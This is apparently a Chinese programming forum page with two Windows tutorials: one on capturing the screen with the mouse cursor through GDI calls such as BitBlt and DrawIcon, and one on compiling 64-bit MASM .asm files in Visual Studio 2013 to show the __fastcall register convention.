    BOOL BitBlt( HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);
    参数

    hdcDest:指向目标设备环境的句柄。nXDest:指定目标矩形区域左上角的X轴逻辑坐标。nYDest:指定目标矩形区域左上角的Y轴逻辑坐标。nWidth:指定源在目标矩形区域的逻辑宽度。nHeight:指定源在目标矩形区域的逻辑高度。hdcSrc:指向源设备环境的句柄。nXSrc:指定源矩形区域左上角的X轴逻辑坐标。nYSrc:指定源矩形区域左上角的Y轴逻辑坐标。dwRop:指定光栅操作代码。这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。
    返回值

    如果函数成功,那么返回值非零;如果函数失败,则返回值为零。

    GetSystemMetrics 函数
    检索指定的系统度量或系统配置设置。
    函数声明
    int WINAPI GetSystemMetrics( _In_ int nIndex);
    参数

    nIndex [in]要检索的系统度量或配置设置。 此参数可以是以下值之一。 请注意,所有SM_CX 值都是宽度,所有SM_CY 值都是高度。 还要注意,设计为返回布尔数据的所有设置都表示TRUE作为任何非零值,FALSE为零值。
    其中,SM_CXSCREEN表示主显示屏的屏幕宽度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值;SM_CYSCREEN表示主显示屏的屏幕高度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值。

    返回值

    如果函数成功,则返回值是所请求的系统度量或配置设置。如果函数失败,则返回值为0。

    实现原理获取桌面屏幕位图句柄的实现原理是:

    首先,使用GetDesktopWindow获取桌面窗口的句柄
    然后,根据句柄使用GetDC获取桌面窗口的设备环境上下文句柄。同时使用CreateCompatibleDC创建与桌面窗口兼容的内存设备上下文环境
    接着,使用GetSystemMetrics获取计算机显示屏幕的宽和高的像素值,并调用CreateCompatibleBitmap兼容位图
    最后,使用SelectObject将把创建的兼容位图选进兼容内存设备上下文环境中,并使用BitBlt函数把桌面内容绘制到兼容位图上

    这样,我们就获取了屏幕内容的位图句柄了.
    对于鼠标的获取,则需要另外绘制上去。

    首先,使用GetCursorPos获取以屏幕坐标表示的鼠标的位置
    然后,使用GetCursor函数获取当前光标的句柄
    最后,调用DrawIcon函数将鼠标绘制到兼容设备上下文环境中,也就是在上述屏幕截屏的基础上,绘制鼠标

    最后,我们就可以使用基于 CImage 类的方法保存位图。
    编码实现截屏,获取屏幕位图的句柄 // 获取屏幕截屏 // 获取桌面窗口句柄 HWND hDesktop = ::GetDesktopWindow(); // 获取桌面窗口DC HDC hdc = ::GetDC(hDesktop); // 创建兼容DC HDC mdc = ::CreateCompatibleDC(hdc); // 获取计算机屏幕的宽和高 DWORD dwWidth = ::GetSystemMetrics(SM_CXSCREEN); DWORD dwHeight = ::GetSystemMetrics(SM_CYSCREEN); // 创建兼容位图 HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight); // 选中位图 HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp); // 将窗口内容绘制到位图上 ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
    绘制鼠标 // 绘制鼠标 POINT p; //获取当前屏幕的鼠标的位置 ::GetCursorPos(&p); //获得鼠标图片的句柄 HICON hIcon = (HICON)::GetCursor(); //绘制鼠标图标 ::DrawIcon(mdc, p.x, p.y, hIcon);
    根据位图句柄保存为文件BOOL SaveBmp(HBITMAP hBmp){ CImage image; // 附加位图句柄 image.Attach(hBmp); // 保存成jpg格式图片 image.Save("mybmp1.jpg"); return TRUE;}
    程序测试运行程序,生成图像文件。查看图片,程序截屏成功,而且包含鼠标位置和状态。

    总结通常情况下的截屏,之所以没有鼠标,是因为鼠标需要另外绘制上去。所以我们获取鼠标的位置以及当时的鼠标状态图标,绘制到图像上,这样就实现了带鼠标位置信息的截屏功能。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-06 10:18:56
  • 内联汇编之64位程序

    背景内联汇编是指在 C/C++ 代码中嵌入的汇编代码,与全部是汇编的汇编源文件不同,它们被嵌入到 C/C++ 的大环境中。内联汇编方式两个作用,一是程序的某些关键代码直接用汇编语言编写,可提高代码的执行效率;二是有些操作无法通过高级语言实现,或者实现起来很困难,必须借助汇编语言达到目的。
    32 位程序和 64 位程序下使用内联汇编的方式,有很大的差别。现在,我们对此分别进行介绍。本篇文章主要介绍的是在 64 位程序中使用内联汇编。
    VS2013中添加并编译 .asm 文件步骤在 64 位程序中,已经不能使用关键字 __asm 来添加汇编代码,而应把汇编代码全部写在 .asm 文件中,然后,再将 .asm 包含到项目中编译链接。现在,我们就先来讲解如何使用 VS2013 添加并编译 .asm 文件的步骤。
    注意,以下演示实现从 x86 模式,即 Win32 模式下开始,如果从 x64 模式开始,在设置 .asm 文件的“自定义生成工具”的时候会卡死或者无反应。从 Win32 模式开始设置后,再新建 x64 模式,并从 Win32 模式复制设置,这样就可以成功对 .asm 文件设置“自定义生成工具”。
    首先,我们在本地上新建一个 .asm 格式的文件 “myasm.asm”之后,右击项目工程并选择“添加” —> “现有项”,然后选择我们新创建的“myasm.asm”文件,添加到工程中:

    然后,我们选中“myasm.asm”文件,并右击选择“属性”:

    在“myasm.asm属性页”中,设置 从生成中排除 为“否”,设置 项类型 为“自定义生成工具”,然后,点击“应用”。这时,在窗口左侧就会生成“自定义生成工具”的扩展栏。如果是从 x64 模式下设置的,在一步,会没有反应或者卡死。所以,一定要从 Win32 模式开始,再创建 x64 模式,并把 Win32 的设置复制到 x64 模式中,便可以解决这个问题。

    接着,我们开始新建 x64 模式,因为我们要开发的是 64 位程序。我们选中项目工程,以此选择 “属性” —> “配置属性” —> “配置管理器” —> “活动解决方案平台”选择“新建”。这时,就会来到“新建解决方案平台”页面。我们选择“x64”,并从 Win32 中复制设置,创建新的项目平台,点击“确定”。这时,就可以使用 x64 模式编译 64 位程序了。

    然后,我们继续对 .asm 文件进行设置,将其包含到项目工程中来编译链接。选中“myasm.asm”文件,右击选择“属性”,来到“myasm.asm”属性页进行设置。在 命令行 中输入“ml64 /c %(fileName).asm”,在 输出 中输入“%(fileName).obj”,其它保持默认即可,点击“确定”即可完成设置。

    经过上述几个步骤,我们成功为 x64 程序添加 .asm 文件并设置包含到项目工程中编译链接。接下来,我们就开始讲解如何在 .asm 文件中写汇编代码了。
    实现原理对于 64 位程序在 .asm 中写代码,需要遵循以下几个规则:

    会变文件 .asm 文件必须以关键字 .CODE 开始,关键字 END 结束,大小写都可以。
    .code ; 此处写汇编指令代码end

    所有的汇编代码以函数方式组织在一起。也就是说,我们要将汇编代码封装成一个个汇编函数。要注意 64 位汇编中的函数声明以及调用约定:
    .code; _MyAdd是汇编函数_MyAdd proc ; 此处写汇编函数的代码_MyAdd endpend
    其中, _MyAsm 是汇编函数的名称,proc 是汇编函数的关键字,endp 是汇编函数的结尾关键字。
    要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    编码实现myasm.asm.code_MyAdd proc xor rax, rax mov rax, rcx add rax, rdx add rax, r8 add rax, r9 ret_MyAdd endpend
    ASM_64_Test.cppextern "C" ULONGLONG _MyAdd(ULONGLONG a1, ULONGLONG a2, ULONGLONG a3, ULONGLONG a4);int _tmain(int argc, _TCHAR* argv[]){ ULONGLONG a1 = 1; ULONGLONG a2 = 2; ULONGLONG a3 = 3; ULONGLONG a4 = 4; ULONGLONG b = _MyAdd(a1, a2, a3, a4); printf("b=%d\n", b); system("pause"); return 0;}
    程序测试我们直接运行程序,成功显示正确的计算结果:

    然后,我们查看 RAX、RCX、RDX、R8、R9 这 5 个寄存器里的值,和上述我们讲解的相一致:

    总结要特别注意一点就是,如果你使用 VS2013 开发环境,或者你使用其它的开发环境也遇到这样一个问题就是:在 x64 模式下,添加 .asm 文件,并设置在 .asm 属性页 中设置“自定义生成工具”后,界面出现卡死、无反应现象。可以尝试下面的解决方法:

    首先,不要在 x64 模式下面进行设置 .asm 属性页。更换到 x86 模式,即 Win32 模式下,然后再在 .asm 属性页 中设置“自定义生成工具”,这时可以正常设置。
    然后,在在 .asm 属性页 中设置“自定义生成工具”,这时,我们再“新建” x64 的解决方案平台,从 Win32 中复制设置。

    那么,这时,我们就可以在 x64 下正常对“自定义生成工具”进行设置了。
    同时,也要要注意和 32 位汇编函数的区别:32 位汇编函数调用约定 __stdcall,所有参数从右到左依次入栈,通过压栈传递参数。64 位汇编函数的调用约定 __fastcall,前 4 个参数是从左至右依次存放于RCX、RDX、R8、R9寄存器里面,剩下的参数从左至右顺序入栈。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-01-03 10:50:43
显示 0 到 15 ,共 15 条
eject